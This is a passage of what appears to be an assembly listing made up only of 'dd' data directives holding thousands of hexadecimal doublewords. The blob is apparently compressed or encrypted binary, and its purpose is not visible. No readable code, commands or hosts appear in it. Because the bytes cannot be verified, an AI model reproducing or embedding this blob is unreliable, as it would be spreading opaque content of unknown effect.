0FCDB5F06h, 88CC6688h, 9E80FD35h, 80DDEC78h, 99871D24h dd 0E4F4CCDh, 6C5C06F1h, 0F89B7F9Ch, 10968FF0h, 15B25A91h dd 4C8CD34Fh, 4A4122B8h, 7B4440DEh, 0F5EAF993h, 1D9D9B04h dd 1CB4CF1Bh, 0F878A047h, 238B9ECh, 84953ADBh, 0DCFA0801h dd 94030832h, 921FECB5h, 96AC0585h, 7770C881h, 43125725h dd 66A010C4h, 0A293EC2h, 307D21A6h, 0BE94E201h, 7C621FF4h dd 83A4054Bh, 0B218F30Eh, 203431CBh, 400808Bh, 16D48BFBh dd 1E8A6315h, 34F95702h, 76D88268h, 0A1B0F29h, 0B44A947Ch dd 0B3A91A18h, 47ED0C05h, 10D0F906h, 0D080E4B9h, 0E2C993EAh dd 0D7E0C1B4h, 50F867E1h, 371A7EA4h, 22B0C052h, 0D46148F0h dd 9710412h, 0EC603A88h, 44094346h, 295F1188h, 1C8C4634h dd 87B717AAh, 0A0DAF26Dh, 82D7B247h, 0EB644491h, 35C7B741h dd 0E088309Ah, 1084B1D4h, 4A7A1746h, 81C8407Bh, 9ADD1D29h dd 5DC611C7h, 0ECA36C84h, 0F6E92458h, 367C530h, 98F6D9A5h dd 49AF22ACh, 1883B402h, 3A32C458h, 0EC1C8036h, 425D09E8h dd 3C1675CDh, 6D35012h, 96F0D008h, 0D1DC3008h, 0ACA3BB48h dd 0AC47D8E2h, 561E1C4h, 0EBE0E233h, 6726A4C1h, 4208704Bh dd 277109DDh, 0B4025812h, 10EC21D4h, 0FA4FED09h, 361800F4h dd 25E15899h, 98655C0Dh, 18702AC2h, 0F3F9D68h, 9A8C0095h dd 70B6E34Ah, 0CB03027h, 0A225CC81h, 81B1EA80h, 8194D026h dd 7412EE4Fh, 3181C09Bh, 3D33FADDh, 7A7700ACh, 0A861E69Ch dd 0AC9424AFh, 807C00FFh, 0CF36B6D0h, 1C406A5Eh, 6CF4CC76h dd 0F23A104Fh, 283F7C65h, 0CCDB3C33h, 10407150h, 0C066D77Ch dd 5C1EE17Ch, 215C28B6h, 1E816FF0h, 5830EA0h, 409740AFh dd 2780CD91h, 0A4E21066h, 0F2B7DF06h, 121DC4Eh, 0FE69918Dh dd 0F4E7FA14h, 0D8F93F52h, 0CCB9C01Fh, 80383614h, 5BBEC3A6h dd 781695D1h, 0C39EA300h, 0EB281C7Ah, 2D6C00A8h, 16885B24h dd 0DCA8C2AAh, 9100E7BEh, 8D215AD3h, 90C43772h, 41DB16E8h dd 23CC42E2h, 9C82791Eh, 0E0A085DEh, 0C5C24A12h, 0E0FD6807h dd 67900970h, 0C5E34E97h, 802A8204h, 0B2F350E0h, 8106C48h dd 876A7AE0h, 144E011Eh, 0C968C184h, 8882CA0h, 2CE5F3EBh dd 98E4256Ch, 4A064100h, 826E1E91h, 905A5C7Ch, 7853EFCh dd 0E39D8D06h, 0FFB01DA6h, 58035BD3h, 3129BD83h, 7400D71Bh dd 25535017h, 0FDD9B8h, 2DA1851Eh, 3C41C41Bh, 0E08B62A3h dd 3031C0E8h, 5029B585h, 9D37BD03h, 0D8F40E1Eh, 0D4E6B5AEh dd 6D0030AFh, 874EE59Ch, 0CF532EDCh, 3198755Ah, 0D0E58903h dd 0B0EB5043h, 0F9F82006h, 5B75861Dh, 1BBD9518h, 0E06AF536h dd 0CC802BFh, 858D68B5h, 880F1981h, 8B818002h, 50BCB2D7h dd 0F9B103BAh, 606A24A8h, 0E8563E0Ch, 39202903h, 8925C35Eh dd 601BC6FFh, 56462118h, 2A010CC3h, 669C9BE6h, 76A0D68Bh dd 5152C864h, 91C359C3h, 19184C89h, 7514188h, 12F53AC3h dd 297AF01Eh, 2B55C19Dh, 8B5094AAh, 302228ACh, 7595010Ch dd 38B5100Ah, 0A3606879h, 53FFBF0Fh, 398D890Dh, 95E02229h dd 574FA925h, 0C3725F18h, 787C8929h, 0C3574740h, 2F5A0020h dd 8D8B7E6Ah, 2CA00ADDh, 0F801A09h, 14C879B7h, 0BFFA5FB5h dd 5985147Dh, 40771503h, 860E92Fh, 5A4ADC5Dh, 0A6750341h dd 60564EB5h, 23D6C003h, 152E71BDh, 0B0596130h, 0BB018299h dd 1840141Dh, 8C14E8E2h, 0C88B850Eh, 126D8EC7h, 53038458h dd 721404BAh, 815A5DFDh, 10223595h, 0C616840Fh, 0B8C3D29h dd 484983F6h, 0FB095036h, 61F0E952h, 963DCA10h, 2C321652h dd 0BA88054Eh, 4EC81886h, 0F59FEE07h, 0FF295A70h, 19D1DAD0h dd 4301BC18h, 1F18ADCh, 5688CE8Bh, 6001EFF2h, 20E1BD2Bh dd 499DA350h, 4B7AA21h, 58615039h, 4489C8C3h, 401D448Ch dd 61C35000h, 0FE23B902h, 9D0A3D59h, 11E8A60Ch, 96017D25h dd 82C94D4Bh, 0EED42EDFh dd 2DDA0259h, 8451C515h, 8B381766h, 1B400C2h, 559EE0E6h dd 0E594891h, 0DDB2D309h, 0F8433D8Eh, 4BDC180h, 4423D1D1h dd 6FCA0975h, 36C21920h, 670BC6B8h, 74912471h, 710BC621h dd 0A8CDED29h, 0F240997h, 0E8421D81h, 8C9E230Eh, 95756D8h dd 8593A200h, 8E15ECE6h, 0FA8B1A4Eh, 0C804B65Ah, 0C3C76752h dd 315489E2h, 5242101Bh, 41EEC3h, 56D4EAA4h, 0BD897EB5h dd 929D6548h, 3216A208h, 8A20029Ah, 7BF883D4h, 898535FFh dd 23083A17h, 7BE40019h, 100C8AB9h, 0F2816605h, 1981AE46h dd 8051EB1h, 0E8E3BDBFh, 510B0013h, 0D48F01EFh, 100076E5h dd 881128FEh, 4637F1h, 7F3C8C0Ch, 16E959F9h, 79340159h dd 0B3AB5D2h, 0BE1F1B23h, 0C2FD05B9h, 0F3025FF2h, 1020DBDh dd 65F58D0Bh, 192023Ch, 3B094707h, 9A3EE5FCh, 38071B23h dd 54E0F0E0h, 26203B75h, 4098E860h, 91134455h, 8247F302h dd 938A0F7Dh, 9DD8139Bh, 61F94EE9h, 0FFF217A3h, 220848Ch dd 19FCE1BFh, 0DDE29647h, 0DD173F07h, 0FB39273Ah, 876D276h dd 2BA6038Ah, 55E9D102h, 53AA9102h, 0C3725B18h, 115C8923h dd 53430116h, 4C9B76C3h, 9D3D040h, 1CF5309Dh, 0F7FC858Bh dd 555A2383h, 45C35D0Eh, 228E6C89h, 0C3554505h, 0BD55C1ABh dd 5A836449h, 3F8EB5A8h, 90F4F4CBh, 2C31D35Eh, 4482B195h dd 3DDB5040h, 448506Dh, 0CC40F640h, 455ECAFCh, 29091841h dd 1A886F4Eh, 3CF005C0h, 0F6686763h, 346A738Ah, 85F97832h dd 12E2C250h, 79DE6133h, 77B0A15h, 16208D1h, 0DB8C6600h dd 9004C3F6h, 0C6FC4487h, 34929DECh, 52685603h, 149CA8B8h dd 782BF95Eh, 53391F17h, 43B0B11h, 1D106584h, 0EE8164DBh dd 0FA6720FAh, 47022D84h, 18AC9B68h, 4C53CECh, 1E20F08Bh dd 3D61684Fh, 0B9C02F26h, 58942D43h, 537D6330h, 5661286Ah dd 75C08518h, 541754Ch, 87649868h, 902A69DBh, 4CB080D0h dd 0E772A468h, 4C205AFFh, 7E8842D9h, 5045B25h, 545C6CA6h dd 0C70A152Bh, 76B8DB03h, 20C4314h, 0CC852E07h, 6AC5C424h dd 1947025Ah, 8B49B52Eh, 67281144h, 97680445h, 1C92A5F7h dd 67E62950h, 280C026Ah, 9B3275C2h, 0A1B46860h, 0C8CD44Eh dd 73A65EB8h, 0CA43BD45h, 0E7A38C11h, 0E93114B2h, 2DBDE482h dd 6CE6061Eh, 12CFA01Ch, 0B2206400h, 0E5E6505Dh, 17A2F073h dd 14A4AF30h, 3EE8F248h, 345D2E00h, 3BBDB0FDh, 1D76A80Ch dd 2DDD0D3h, 0EA838A46h, 9DE3DE59h, 64CB80A7h, 0A9A435FFh dd 86CABA0Ch, 7089A068h, 926DB125h, 138482FEh, 10524C19h dd 1CD502D6h, 3C8DA409h, 100E2C59h, 2ABD8B60h, 31B50AA5h dd 61357D8Dh, 0FE91F780h, 85639F1Dh, 0AB93B22h, 235DC181h dd 3424098Dh, 1627CA3h, 20058363h, 0E689BEB9h, 0EAB024Bh dd 0C0A4F85Eh, 0D7A9C256h, 0E18DAC82h, 0B440AA6Ah, 0B14073Fh dd 4E228F64h, 6F5D16BEh, 45620E22h, 0F49DC0F6h, 380B8FE7h dd 104255BDh, 661F1EFDh, 839EC5B9h, 84B8C1FBh, 23C01418h dd 702DEBD9h, 60E5CCE9h, 194811B8h, 16C58552h, 0A48BF788h dd 628651B6h, 0C5240EAh, 0A48133C7h, 33DFF15h, 15B83283h dd 0C3908104h, 30A65C8Bh, 9222084h, 0DFED815Dh, 838B6522h dd 8711B8Ah, 89152EAEh, 4F5D310Ch, 13800FE9h, 696A609Bh dd 0C0C03B64h, 795630D2h, 98932807h, 32F116E9h, 236B3B1Bh dd 0A440001Ch, 0E3C52FFBh, 7EAE7116h, 99DCB02h, 2061090Eh dd 0B2C587D5h, 29EF50FDh, 0C64FC281h, 0BAC300B1h, 0FE1CD14Bh dd 8B0CEC9Ch, 260BC18Dh, 9397935Fh, 19E306F8h, 99AE1E2Ah dd 22B9B1A1h, 4B800FBh, 54855D7h, 0F7810064h, 0D465BB0Dh dd 0BA0E8685h, 1F34B640h, 5FE8EA46h, 1ED770Ch, 4D5868FBh dd 300A7556h, 1E40A5D2h, 5A9C8A01h, 1109E930h, 2184398h dd 0F0AD0D76h, 4E7B7314h, 0B72D370h, 399DEB7h, 8D09D180h dd 8AC2333Dh, 51DAC980h, 43DF02Bh, 21312184h, 0EBDB410h dd 0A3551120h, 23172F97h, 29733F14h, 0AC890Fh, 7B296DBFh dd 334C5964h, 0C50D2082h, 5B3AE9CCh, 318093C6h, 3571382Eh dd 80015BE1h, 65637845h, 69740370h, 49206E6Fh, 72B0669Bh dd 0CA3616Dh, 656C5080h, 2CE673F2h, 9608206Fh, 68743007h dd 6C3639DFh, 697799C7h, 63F967F9h, 73FD64E9h, 0FBF928BEh dd 6440619Bh, 2EFE5278h, 836D2ACEh, 3B685420h, 793D6B16h dd 0A9B75BFh, 31FD040Dh, 98702801h, 43627346h, 4C521D54h dd 0D1EC7F2Bh, 1ED9699Eh, 0A0B66497h, 702AA18Fh, 6C3C0879h dd 8562BF69h, 29647261h, 1F423610h, 73546556h, 3DDF9F99h dd 1E7225DEh, 63878043h, 0A94E496Bh, 4F1C640Fh, 87545523h dd 0FA6F7250h, 6D0F211Dh, 10F193Bh, 0A17469E6h, 1EC80F3Dh dd 8D50CA5Bh, 1E1D188Eh, 0FDBDF840h, 88C9B112h, 7824012Dh dd 6A16C09h, 220E5087h, 6865A0D6h, 7AC38025h, 2427617Ch dd 421E2F73h, 78B7D19h, 1628B513h, 0A7B024EAh, 5A16C21h dd 281B2EF1h, 11878125h, 1CE6ADFCh, 53A14923h, 8D6738F4h dd 0FA399164h, 8843BC35h, 8943D658h, 8C545F88h, 8091750Ch dd 32B1A2E9h, 0CE13A28h, 0D50DA895h, 8522841Ch, 958B0811h dd 810222B1h, 0B1CF8C2h, 958D1118h, 5243F0B6h, 40280334h dd 893BD4C3h, 7DCB99FAh, 400C6668h, 8B155591h, 0C317139Dh dd 3419C54Ch, 50116265h, 210F8111h, 0F28D1054h, 0F911158h dd 0C5385C21h, 567DDC4Ah, 6888AF0Dh, 5AA4CDA0h, 64890CC8h dd 19913285h, 86810C8Dh, 0A427D45h, 521C4C77h, 5D0807AFh dd 6281B14h, 0D52D7130h, 656A24C4h, 2D992440h, 0DE1D3919h dd 0B2CC0112h, 60C12C8Bh, 184674D1h, 0CE16D402h, 6ED09561h dd 41B9F7E6h, 3D0D0EF9h, 420EAC6Ch, 93BAE104h, 92547FCh dd 0A4F9BE66h, 0F84B9C52h, 8940A828h, 9D22E9h, 5E938D3Dh dd 1E60CFh, 0CEFEBE07h, 0DECD67B9h, 8BE69702h, 0D0D0E9C8h dd 5E14B690h, 98001646h, 0FCBEFDA3h, 0C065F2Fh, 7E9DF8Ch dd 0D5120025h, 76430E8Eh, 0F7356616h, 5C0DFEC7h, 8FD97994h dd 60071A29h, 22C98166h, 0D872E85Ah, 0C3322C00h, 0D5CC7AEBh dd 0F230358h, 615B0A09h, 4CF0330Fh, 498D699Eh, 2BF8F96Fh dd 0D11391FFh, 7D7B1817h, 515030D4h, 9179E65Eh, 2AD35950h dd 1D1E362Dh, 9F1811FAh, 8A1DD780h, 3509388h, 0EB53F2BEh dd 60BA5A72h, 48005FF1h, 0DA4FF69Ch, 95A20043h, 3B3EFBB5h dd 1C005753h, 5AF4EAC4h, 559C9BBh, 615F350Bh, 0E0B5E693h dd 3A16AE99h, 56876A30h, 840FB966h, 5359B65Ah, 3017A20Fh dd 0CB505FE3h, 0CA880D94h, 1D5600ACh, 363B73F3h, 0EB0971F6h dd 48E931C0h, 0F52FA9Bh, 5E1A5CA5h, 0B3FF9073h, 6D1C2316h dd 4D00715Dh, 0CBBB17A0h, 62054BC1h, 45D2E9A1h, 4961BA00h dd 8B24C83Dh, 9BDEC0C4h, 0EB01CD5Ah, 2BC06BADh, 9886EB1Fh dd 77CF481Fh, 690D7AC0h, 722989E5h, 1A712E65h, 0CB036618h dd 36EEC0C2h, 0D66225E3h, 0C181D5B0h, 75FA5B09h, 0A1DB622Eh dd 0B64509Ah, 0E6348278h, 0F20FF22Dh, 0F2923016h, 64A18F48h dd 0A052024Ch, 427BD04h, 81418071h, 24A9B7F2h, 7E1301B8h dd 97A1C46h, 1270FD74h, 0B0DC7180h, 0E756FFF5h, 0F4F3F7CFh dd 810FA1B3h, 2750422h, 5B37F8D9h, 5678575Ch, 4930104Fh dd 1040B60Fh, 22C8FE01h, 1251EBB0h, 503C5F02h, 23362F4Eh dd 1032001Dh, 0C4F872FAh dd 9BF2C60Ah, 0D102F108h, 62D4B360h, 0E1592085h, 0F6378A55h dd 0D38B3961h, 0F0F02CE5h, 2448C74h, 61EF598Ah, 0ACA22DEDh dd 81E0850Eh, 2CF5E6F6h, 1C622F0Bh, 8A82312Dh, 0E8C2D0CCh dd 0AFC51060h, 0A63A22h, 52496C0Ch, 721CA512h, 0E6D7A09h dd 0B3E4A0h, 0BFD99B29h, 31ED8C8Bh, 0D3816000h, 2D8DFC0Eh dd 8887700Fh, 5B7F5861h, 6C96C312h, 5BFB70F4h, 0F04E27B9h dd 8B5B9EE8h, 100B1430h, 902ED0DEh, 0C0FD096Dh, 3B402FD1h dd 676698E8h, 0F12F042h, 4EEDD8F9h, 0C63832Ah, 9D0B0BE9h dd 9AEF6400h, 0F334AB4Ch, 9E1F19F8h, 32E96689h, 8B6B0086h dd 28BB66A8h, 8DE97A4h, 1C78A4Ch, 0E983945Bh, 338B0F04h dd 3CF91F00h, 4E84F765h, 2FE94619h, 0AE79000Bh, 5C2BF2B6h dd 0D800F4E0h, 3103A6DBh, 3A9AA266h, 79BB46C1h, 7E85B883h dd 4E727CE9h, 0D728940Eh, 0A5304029h, 0B70972h, 0D235D49Fh dd 0CE661514h, 0B6960731h, 44BFEF2h, 0EC7AB383h, 67861001h dd 0A424C5Ah, 2B5B1040h, 0B6FF0119h, 0C08D6046h, 0E405F0AFh dd 195FF380h, 48EA240Bh, 8506E26Fh, 0F4534028h, 30FFE587h dd 230B5E50h, 21F60530h, 0B5AFF0Ah, 0E5AE9CBAh, 1831B576h dd 398C54E8h, 0E5414CB0h, 58612878h, 56FFB918h, 68773986h dd 8E0051E7h, 0A0E30E48h, 923680h, 88B5ED5Fh, 0EF41900Ah dd 7618E8EAh, 4E91976Eh, 982B551Dh, 70367E0h, 84D747C3h dd 0D9E4E02Eh, 0F863E158h, 80569721h, 0DA2EE67h, 0FD231CEDh dd 3FA0DF18h, 0DEF0EA42h, 0F5CE782Ch, 0FFE3B603h, 57F0E014h dd 0D626002Dh, 0CE89D551h, 0FD0C0E8Ah, 831FA9Ah, 57280h dd 634FC666h, 0E2593EE4h, 4CE557h, 56F265EEh, 0A4CE61A9h dd 803978E0h, 48C31852h, 20032BC9h, 0B64485F0h, 0ACAA5439h dd 55E000D5h, 6860459Ch, 0B0C5296h, 48BE03E3h, 0E0900DFEh dd 82085F9h, 421D67E0h, 161E7E4Ch, 0D3187618h, 0CF8EE8CDh dd 4D039621h, 71058805h, 0E8112EC5h, 0ED18881Eh, 3978E48h dd 2F42AFFDh, 710ECCE7h, 99B0E60Bh, 3710BDF8h, 0AB1CE11Fh dd 0D5C32E78h, 75CE7EDh, 2AFBF4C1h, 2F53A080h, 0DB7F94CFh dd 0E258D018h, 0B8A46669h, 697612FFh, 8A1046E3h, 0DB44109Ah dd 0B3ED0E60h, 0FB00D267h, 267D8674h, 8E5C0548h, 82A72E28h dd 48102F8Dh, 0A8948674h, 14F9FBCh, 0B132531Eh, 9EE21C85h dd 80004679h, 0ED7F1F34h, 44940029h, 0D12AFC61h, 0E724BC9Ch dd 0A082CC7h, 0C16701FDh, 0D0978D09h, 4D002B0Bh, 42906235h dd 0A874B3FFh, 0BCDAC0h, 1D2375C1h, 1C7AF5C9h, 652C8D1Bh dd 1C91FC21h, 59A20BE1h, 0C013F088h, 31C18D11h, 26051AFAh dd 0A76E77ACh, 0BB36D431h, 2805A821h, 2F0E6060h, 0F921C032h dd 4860CA69h, 0E70BE80Ch, 77FD1931h, 0D04C54BAh, 8FE04CD7h dd 73672050h, 0DB6100BEh, 65CB11F1h, 0D0FC9403h, 5148456h dd 0CE69FD64h, 1D2F3004h, 4C8BC127h, 0DA60F34Bh, 1EFB1AA9h dd 93D5005Eh, 7A2209EAh, 9206303Ah, 50E745A0h, 60A80391h dd 3D9B84C2h, 76A1B9B0h, 4EF6C24h, 68C40244h, 7808282Fh dd 374CA60h, 0BFB31B54h, 5905D4D9h, 91057A12h, 642AC040h dd 6002E359h, 0CEAC6152h, 7A0291BEh, 53C12D0Eh, 431C44BDh dd 8D040F09h, 7DEA6290h, 8A9882F2h, 577310B4h, 0E2182183h dd 44759388h, 22A732DAh, 30C553E9h, 11771D0Ch, 59500792h dd 20A2A665h, 4FC06F8Bh, 0D369FB0Ah, 0A03A2C47h, 0F0A0F965h dd 0C090ABD8h, 3D564E4h, 0D708F6BBh, 2806B778h, 4AB331E3h dd 0F3049240h, 0D1689211h, 8283E967h, 21B35F21h, 659F00F3h dd 2413A470h, 0AC008E20h, 391A807Ch, 0D35805EEh, 80B9E5E0h dd 57336778h, 3CAB48h, 64E237EBh, 28EC93D3h, 6444FF09h dd 0C3845180h, 310353BCh, 5B59F8EDh, 7800F49h, 0F93CCDFh dd 0AF86FD6Ch, 2EEC1878h, 8C25520h, 4D1B6920h, 0E305100h dd 0AA42FAAh, 74F73966h, 30B56694h, 722671Eh, 10CC610Dh dd 2C81B442h, 0DD40C118h, 0CCD2521Bh, 0E7E10446h, 0B3EC34CDh dd 18E9CF32h, 0F1429Eh, 6A9A0594h, 67F31F69h, 0E806802h dd 0FBAC73B3h, 0BEE69DE3h, 8862921h, 20BBA5C1h, 0EC1301ADh dd 0AF529065h, 0EE18C822h, 40E25B1Fh, 6F542983h, 99FCF3F4h dd 61D8C4E7h, 0A0C0989h, 70A3D227h, 0D1801586h, 4F001EDCh dd 9EBF93C8h, 3DB7BCADh, 0C78065D4h, 0A0FF80E7h, 64005510h dd 134B0BE4h, 0FEDFC9B6h, 0E91F0022h, 0C874BC2Ah, 0E8E6B4F4h dd 6013CF0h, 0FC5958F2h, 43D455AFh, 0E2F401EDh, 7C303E26h dd 0F501F450h, 0E6AC5E00h, 5143C9A4h, 2027625Ah, 914066B1h dd 2603328Ch, 295B453Dh, 4711816Eh, 872BB450h, 0B030C10Fh dd 0D10157E1h, 400E311Fh, 0F7EDA41Eh, 1CCAF200h, 0AA866A2Eh dd 0D0AE5467h, 0F0350983h, 0AA00C671h, 0EC7542C0h, 9B384F03h dd 0D098D8C9h, 0CBA766h, 0F8FE3B11h, 0D178E505h, 82766505h dd 0EBACE9h, 0A71807EEh, 56E66384h, 0DF118100h, 0AD89994Dh dd 4A240053h, 4122E72h, 343F9445h, 0C64E003Bh, 76F4C1E9h dd 0E47D00BAh, 0ABDA12EEh, 1E002FA6h, 270DDE8Ch, 0E922374h dd 15136B5Eh, 0A76AFDA0h, 5800850Bh, 91382529h, 0CD60DFh dd 0ADE4D3AFh, 9B0A08FDh, 3D3DFAE0h, 1A388030h, 0CE7ED6DBh dd 0CCA90C3Ch, 59805CB0h, 4AF85000h, 0DCF24934h, 86190090h dd 78B9965Fh, 5A002E65h, 2797B46Ch, 3FAA55h, 0E35B3DAEh dd 0C24A43F9h, 0CFB6E700h, 0D45C10Ch, 59FF02F4h, 0A13686C3h dd 42E8A180h, 3DFE0EC2h, 0D2FB8F00h, 769C0326h, 441900A2h dd 0CB40D181h, 490EF14Ah, 0A445EFCAh, 0A4918957h, 3AF4BC5Eh dd 0ED2E0040h, 0CFA6445Dh, 1E4CBD47h, 0E9F27B50h, 62EB1500h dd 1CAD57EFh, 0A6400092h, 604712E1h, 6348594Ah, 4D050018h dd 1CAFD970h, 12A00A7h, 0A9D37E4Bh, 2D709C18h, 0D5744500h dd 168D963Dh, 35B73BBBh, 58862E0h, 3C05BCB0h, 0A7E74DC3h dd 0B2590EEBh, 16396340h, 0C4AAA64h, 218B7400h, 49136EBh dd 728C7E5h, 4088095h, 9C026FDAh, 0B05AFEEFh, 83404870h dd 907B04D0h, 900E8AA7h, 744E668h, 0D41DBA24h, 1931A80Ch dd 0B860493Bh, 40D36E19h, 8402F429h, 76383100h, 0B8F375DAh dd 778002Dh, 0B42FF481h, 93F41191h, 0A4BF1901h, 9CC7A838h dd 0FBDBD4h, 69E40837h, 536F2239h, 7943E00Ah, 2D00C080h dd 8CED4031h, 0B3BF0012h, 5A967371h, 0FEB8151Eh, 0EC696800h dd 6118B240h, 0F25F3DACh, 0C9807480h, 0F554AD7Fh, 0B44E8B28h dd 11838A00h, 0BA306D9Ah, 3E220071h, 0CA62DAD7h, 0B100E174h dd 8D8B0C86h, 0EE74053h, 3790A161h, 8A46C882h, 0F0776CE1h dd 0C000C9EFh, 1BE83C09h, 0E0ECDB6h, 9FA91815h, 8C8964A0h dd 0D90048CBh, 88618AB4h, 3B5482h, 0EF93F72h, 77328FB9h dd 0A8391800h, 0B17B0B10h, 0D7901E23h, 0FF48803Ah, 0C3F0432Fh dd 0E27FD20Ch, 97C65Eh, 0D38A3161h, 77A3147Bh, 0CF89AF02h dd 80FBB738h, 19CCC592h, 0EADA00ECh, 3EC7A103h, 0F3008480h dd 2640F454h, 0F625923Bh, 36B60029h, 721DC833h, 1F70D0C3h dd 0D1008DB0h, 0FEFA3560h, 3A6B2307h, 0E7800FE5h, 965D18E2h dd 0CE0030ECh, 4E473A93h, 4F7C451h, 3C7B7660h, 3E12C0A6h dd 18E2F134h, 3661D018h, 3C0FF719h, 0D4801081h, 0E3BE3386h dd 0D703B291h, 55029383h, 0A820B8BDh, 0CF841FF0h, 80A1DFBBh dd 49AB877Eh, 0DF1F9BC8h dd 8EFC6CEBh, 20B8861Bh, 48BE1842h, 0F6300F5h, 34078D08h dd 0E43FC9E6h, 74AA001Dh, 1FD39F35h, 3A77EACh, 8F012CEAh dd 0B2D05CDEh, 4422C625h, 4F3B051Ah, 0C2E95699h, 0D2E03E48h dd 0CC4DF786h, 79FB0308h, 1201BFh, 7BE1EA44h, 45F2CDD0h dd 5BAED409h, 0ACEC840Fh, 0DCE10400h, 0B926C36Ch, 980FC8Ch dd 3594F037h, 125A7946h, 1BF7DC5h, 4BA865A8h, 0A71E4A0h dd 38301F4Ch, 333E0083h, 66D73699h, 7E56E8C3h, 0CC240004h dd 0DA06D64Dh, 2324B617h, 8200004Ch, 0CEB17147h, 0A26F00ACh dd 0BB12DD35h, 0A100A6CFh, 886CC2E5h, 94ED871Dh, 95907B0h dd 581090ACh, 0FC92EE63h, 9B6A172Ch, 7087F104h, 1157A887h dd 3C379210h, 1DC0E2B9h, 0CE910C6Ch, 1920F031h, 411ABBDBh dd 4CB12026h, 0A022CD0Fh, 4EDEDF69h, 5E8D01B7h, 0C925FD05h dd 0CDF86021h, 1D5AF300h, 0E4A6012Eh, 9487487Ah, 572FDB04h dd 90F9C4B5h, 0FAE252ECh, 0CE393E24h, 0F8472800h, 3C5C47Ch dd 953BAC98h, 0E088858Fh, 67F20556h, 0A11BDB03h, 0F83002FBh dd 0E4F7D79h, 658E2B1h, 19D16280h, 81001880h, 0FB412932h dd 0ABB7F009h, 393600D4h, 6BC2D3C4h, 22487E9Bh, 941D005Bh dd 28776054h, 91B8000Dh, 10B5A5DBh, 0B5A04DB9h, 0CA00A0C2h dd 8748E07h, 353CC41h, 0A8978A5Fh, 3AC0B618h, 0AD5D81FBh dd 0E00070D8h, 0A7839936h, 4F504Dh, 898C09E4h, 4C4A4BA5h dd 8D0EE507h, 0EC6FAA8Ah, 1C841170h, 474D4EA4h, 108E0FEAh dd 1DA240BEh, 7F13FD78h, 0ACD161EDh, 0D9838207h, 96424405h dd 6FA34CCBh, 9B6243E7h, 2BE4B1C0h, 0B90114A0h, 0BA6B6102h dd 1658A4Ch, 0BCBE3C9Eh, 0B23E20h, 41399FB0h, 633EB4h dd 88E6032Bh, 0E96D7502h, 0E755B80Bh, 558A3h, 65308E12h dd 2FD04DCh, 0FB1C5C00h, 222DA2BEh, 0E25014EEh, 2C00587Dh dd 9F695929h, 0E428BAFFh, 70C0804h, 80678CAAh, 0E565048Fh dd 90EE3F2Ah, 0AFC56DD0h, 0A9D1ACA8h, 0D55ACE0Eh, 0D34E8161h dd 7041E905h, 1442AC83h, 0F3B30061h, 0A804FBB6h, 0BC363B95h dd 0AD78A0h, 0B4C66721h, 0AE740565h, 35E738C4h, 1F30B0A0h dd 9CACE4h, 0A7BA7D1Dh, 2D008A66h, 0E7E8486Dh, 0CF1AA30h dd 0AEB833FEh, 22849129h, 1C426FB5h, 22A8CD11h, 0ADB10EA5h dd 8E2010DCh, 0BFB5383Bh, 126EC200h, 0EC0D2091h, 0D51B00F5h dd 27E59426h, 0F1F676DBh, 0E04EFC00h, 0C79D028h, 470A01FBh dd 667D17DFh, 85846064h, 87CA4E0Bh, 0DEF02214h, 97392042h dd 0EB1CB56Ch, 61070C6Eh, 0C09F8625h, 8EF62DAFh, 0BFBB00E3h dd 0A85B1F3Fh, 7E001B89h, 94118C5Ch, 0EEF74C8h, 95BFA52Bh dd 5316D020h, 0E5008821h, 0EA995A48h, 645C676h, 9D4E5EC7h dd 0FB001186h, 1B357F72h, 0F7F93Ch, 63A83402h, 741C3B4Dh dd 89220C1Ch, 0CB2609C0h, 8735EDh, 40F5516h, 0F5BE3BDDh dd 533C321Dh, 0AF082F81h, 0FC501331h, 7E85955h, 572A2444h dd 0FE5B709Ch, 2D003672h, 1190915Ch, 0CAB8B4h, 7F40970h dd 0D82CE14Ah, 0F5047115h, 0D62600A8h, 0A93C137Bh, 0A4695032h dd 858D2EC9h, 534B4228h, 5989A8A0h, 3A0037A6h, 148D9043h dd 558BBDh, 87ADE55Ch, 95C1830Ch, 39FA9200h, 0C4F3442Eh dd 99A301F1h, 0B77FBC2h, 0A8C8407Ch, 6D3EEAFCh, 0A728802Ch dd 0A19D4656h, 851D00FEh, 168354E2h, 78C0529Bh, 39B19E72h dd 5DAD00B7h, 11958069h, 991653F6h, 5000E877h, 90630F85h dd 241072E3h, 686247h, 0B7164B07h, 994ADEC4h, 0BFEE0C00h dd 11E60E5h, 1A696B6Fh, 809FA819h, 0DA8EEB40h, 0F250C11h dd 0DC732AD0h, 0C038BEACh, 0A9163Fh, 45E159F5h, 5C7B329Bh dd 403D484h, 60388DCEh, 14C473A0h, 0D7769200h, 72697867h dd 27A0A868h, 0ECB000Dh, 0CE817186h, 95706E25h, 0B9343F00h dd 6676FA3Ch, 92D21887h, 7A78D8B2h, 1462D60Ch, 0C58903h dd 945CF44Dh, 7C19279Ah, 71A24700h, 0B0B610C3h, 177A002Dh dd 12C4A720h, 48C078D6h, 0D813B537h, 0F39601DFh, 0F927ACEFh dd 4708DCB6h, 0A26E57Eh, 6A80E430h, 2BAC0128h, 73433DEBh dd 0A61ADA00h, 784CFC35h, 14C05F00h, 8E23A9A0h, 1C81F2CDh dd 8054FA65h, 562FA248h, 5A01F06Dh, 82677BE4h, 1860A7BFh dd 0D3C205D4h, 80F7896Bh, 95834759h, 8F483300h, 0F50AAF3Eh dd 0E3510BF8h, 0D38EB1ABh, 0A2C6DDE0h, 2578B03Dh, 3C0EDC00h dd 4A208010h, 92F207F4h, 2032C616h, 75A0552Ch, 0B69C7E05h dd 98002960h, 0BD8F610Dh, 835C0AECh, 6884721h, 2016A3F4h dd 542D2501h, 0E08B2293h, 0C1AC6881h, 81554858h, 47C4A811h dd 0D28E965Bh, 0AEA0C3F9h, 1F4C098Bh, 38BBA502h, 4081DF9Ch dd 761D21CCh, 5E6000ACh, 2F2547EBh, 62169F52h, 161E9061h dd 0F685A840h, 77B4E5h, 0A17CC68Bh, 78B3FD4Ch, 0AB00F894h dd 0A7EEF75Ah, 63B6242Dh, 0DE5504CCh, 877F00D9h, 761DE95Ch dd 0D068496Eh, 13298300h, 0B61CEBCh, 9B4D8500h, 0A92E3351h dd 0F87274h, 0FD682A58h, 0C7F5ED2Bh, 3C4E6900h, 5E89C1AEh dd 0C01F7AEFh, 0D63BDBBEh, 2C097153h, 60886306h, 4C3423Ch dd 0D1AA03B9h, 0E26CB084h, 3756130Ch, 7BD50F9h, 87B407C2h dd 0C809E910h, 0F0EC818h, 5B52E00h, 7BE66E89h, 15EAA5h dd 2581D15Ah, 0AEF146AAh, 0D7CCB450h, 0C99C2B00h, 912854F5h dd 0E2B70318h, 